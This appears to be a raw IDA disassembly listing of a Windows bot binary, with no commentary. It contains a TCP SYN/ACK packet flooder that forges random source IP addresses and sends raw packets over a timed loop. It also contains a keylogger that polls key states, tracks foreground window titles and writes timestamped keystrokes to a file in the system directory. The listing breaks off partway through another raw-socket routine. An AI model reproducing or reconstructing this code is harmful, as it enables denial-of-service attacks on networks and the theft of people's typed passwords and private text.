		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D1C
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	ds:dword_43F648	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D12
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	ds:dword_43F668	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	ds:dword_43F668	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	ds:dword_43F668	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	ds:dword_43F668	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	ds:dword_424060	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_42405C	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_401BA1:				; CODE XREF: sub_401A76+25Dj
					; sub_401A76+26Bj
		mov	[ebp+var_24], bx
		call	sub_41730A
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_43F668	; htons
		mov	[ebp+var_34], ax
		call	sub_41730A
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730A
		or	edi, eax
		push	edi
		call	ds:dword_43F668	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	ds:dword_43F664	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	ds:dword_43F668	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	ds:dword_43F6CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CE6
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_42405C	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401D0F
		jl	loc_401BA1
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401D0F
		jmp	loc_401BA1
; ---------------------------------------------------------------------------

loc_401CE6:				; CODE XREF: sub_401A76+247j
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4262B8
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_401D12
; ---------------------------------------------------------------------------

loc_401D0F:				; CODE XREF: sub_401A76+25Bj
					; sub_401A76+269j
		mov	ebx, [ebp+arg_8]

loc_401D12:				; CODE XREF: sub_401A76+78j
					; sub_401A76+297j
		push	[ebp+var_C]
		call	ds:dword_43F700	; closesocket
		pop	esi

loc_401D1C:				; CODE XREF: sub_401A76+5Bj
		call	ds:dword_43F5C8	; WSACleanup
		mov	eax, ebx

loc_401D24:				; CODE XREF: sub_401A76+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_401A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D28	proc near		; CODE XREF: sub_4019D7+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730A
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A76
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D73
		push	1
		pop	eax

loc_401D73:				; CODE XREF: sub_401D28+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D82	proc near		; DATA XREF: sub_40EE72+2D38o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_424058
		call	edi	; GetTickCount
		push	eax
		call	sub_417300
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43F6E8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E4B
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_42642C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E2B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401E2B:				; CODE XREF: sub_401D82+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_401E4B:				; CODE XREF: sub_401D82+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	ds:dword_43F648	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EC9
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4263E4
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401EA9
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401EA9:				; CODE XREF: sub_401D82+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_401EC9:				; CODE XREF: sub_401D82+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F39
		lea	eax, [ebp+var_440]
		push	offset dword_4263B4
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F19
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401F19:				; CODE XREF: sub_401D82+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_401F39:				; CODE XREF: sub_401D82+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	ds:dword_43F668	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax

loc_401F71:				; CODE XREF: sub_401D82+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402235
		push	28h
		mov	[ebp+var_2C], 45h
		call	ds:dword_43F668	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FE4
		call	sub_41730A
		mov	esi, eax
		shl	esi, 8
		call	sub_41730A
		add	esi, eax
		shl	esi, 8
		call	sub_41730A
		add	esi, eax
		shl	esi, 8
		call	sub_41730A
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401FFA
; ---------------------------------------------------------------------------

loc_401FE4:				; CODE XREF: sub_401D82+233j
		push	[ebp+var_240]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		mov	[ebp+var_20], eax

loc_401FFA:				; CODE XREF: sub_401D82+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_402018
		call	sub_41730A
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_40201E
; ---------------------------------------------------------------------------

loc_402018:				; CODE XREF: sub_401D82+284j
		push	[ebp+var_B8]

loc_40201E:				; CODE XREF: sub_401D82+294j
		call	ds:dword_43F668	; htons
		mov	[ebp+var_16], ax
		call	sub_41730A
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_43F668	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	ds:dword_43F664	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40206E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------

loc_40206E:				; CODE XREF: sub_401D82+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40208E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------

loc_40208E:				; CODE XREF: sub_401D82+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020CA
		call	sub_41730A
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41730A
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl

loc_4020CA:				; CODE XREF: sub_401D82+2EAj
					; sub_401D82+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	ds:dword_43F668	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	ds:dword_43F668	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43F6CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4021B7
		inc	[ebp+arg_0]
		jmp	loc_401F71
; ---------------------------------------------------------------------------

loc_4021B7:				; CODE XREF: sub_401D82+42Bj
		push	[ebp+var_4]
		call	ds:dword_43F700	; closesocket
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_426344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402215
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_402215:				; CODE XREF: sub_401D82+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_402235:				; CODE XREF: sub_401D82+203j
		push	[ebp+var_4]
		call	ds:dword_43F700	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4262E4
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4022A6
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_4022A6:				; CODE XREF: sub_401D82+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread
sub_401D82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022C6	proc near		; CODE XREF: sub_4023A7+B4p
					; sub_4023A7+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_42406C	; GetLocalTime
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	ds:dword_424068	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	offset asc_426C1C ; "\\"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset dword_42F688
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_40232D
		push	1
		pop	eax
		jmp	short loc_4023A4
; ---------------------------------------------------------------------------

loc_40232D:				; CODE XREF: sub_4022C6+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_417956
		push	esi
		call	sub_417900
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4023A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_426BDC
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h

loc_4023A2:				; CODE XREF: sub_4022C6+A3j
		xor	eax, eax

loc_4023A4:				; CODE XREF: sub_4022C6+65j
		pop	esi
		leave
		retn
sub_4022C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023A7	proc near		; DATA XREF: sub_40EE72+1F95o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	ds:dword_43F5F0	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	ds:dword_43F604	; GetWindowTextA
		mov	ebx, 200h

loc_402402:				; CODE XREF: sub_4023A7+2C7j
		push	8
		call	ds:dword_424064	; Sleep
		call	ds:dword_43F5F0	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_40248A
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	ds:dword_43F604	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4172AE
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch

loc_40248A:				; CODE XREF: sub_4023A7+6Cj
		mov	[ebp+arg_0], offset aB_0 ; "b"

loc_402491:				; CODE XREF: sub_4023A7+2BDj
		push	10h
		call	ds:dword_43F548	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	ds:dword_43F634	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_402529
		push	14h
		call	ds:dword_43F548	; GetKeyState
		test	ax, ax
		jz	short loc_4024DA
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4024DA
		cmp	edi, 40h
		jle	short loc_4024DA
		cmp	edi, 5Bh
		jge	short loc_4024DA
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_4024DA:				; CODE XREF: sub_4023A7+112j
					; sub_4023A7+117j ...
		push	14h
		call	ds:dword_43F548	; GetKeyState
		test	ax, ax
		jz	short loc_402505
		test	esi, esi
		jge	short loc_402519
		cmp	edi, 40h
		jle	short loc_402505
		cmp	edi, 5Bh
		jge	short loc_402505
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402505:				; CODE XREF: sub_4023A7+13Ej
					; sub_4023A7+147j ...
		test	esi, esi
		jge	short loc_402519
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402519:				; CODE XREF: sub_4023A7+142j
					; sub_4023A7+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402529:				; CODE XREF: sub_4023A7+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_402659
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_402561
		call	sub_417AB0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402561:				; CODE XREF: sub_4023A7+1A5j
		call	sub_417AB0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_402593
		call	ds:dword_43F5F0	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_43F604	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4025D4
; ---------------------------------------------------------------------------

loc_402593:				; CODE XREF: sub_4023A7+1C5j
		cmp	edi, 0Dh
		jnz	loc_40262B
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jz	loc_402659
		call	ds:dword_43F5F0	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_43F604	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"

loc_4025D4:				; CODE XREF: sub_4023A7+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4172AE
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_402659
; ---------------------------------------------------------------------------

loc_40262B:				; CODE XREF: sub_4023A7+1EFj
		cmp	esi, 1
		jz	short loc_402644
		cmp	esi, 3
		jz	short loc_402644
		cmp	esi, 2
		jz	short loc_40263F
		cmp	esi, 4
		jnz	short loc_402659

loc_40263F:				; CODE XREF: sub_4023A7+291j
		push	[ebp+arg_0]
		jmp	short loc_40264B
; ---------------------------------------------------------------------------

loc_402644:				; CODE XREF: sub_4023A7+287j
					; sub_4023A7+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax

loc_40264B:				; CODE XREF: sub_4023A7+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4179D0
		pop	ecx
		pop	ecx

loc_402659:				; CODE XREF: sub_4023A7+12Ej
					; sub_4023A7+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_426BA4
		jl	loc_402491
		cmp	[ebp+var_4], 0
		jz	loc_402402
		push	[ebp+var_D8]
		call	sub_417076
		pop	ecx
		push	0
		call	ds:dword_424054	; ExitThread
sub_4023A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402688	proc near		; DATA XREF: sub_40EE72+1DDBo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_417B30
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	ds:dword_43F668	; htons
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	ds:dword_43F6E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_40275D
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427604
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402740
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
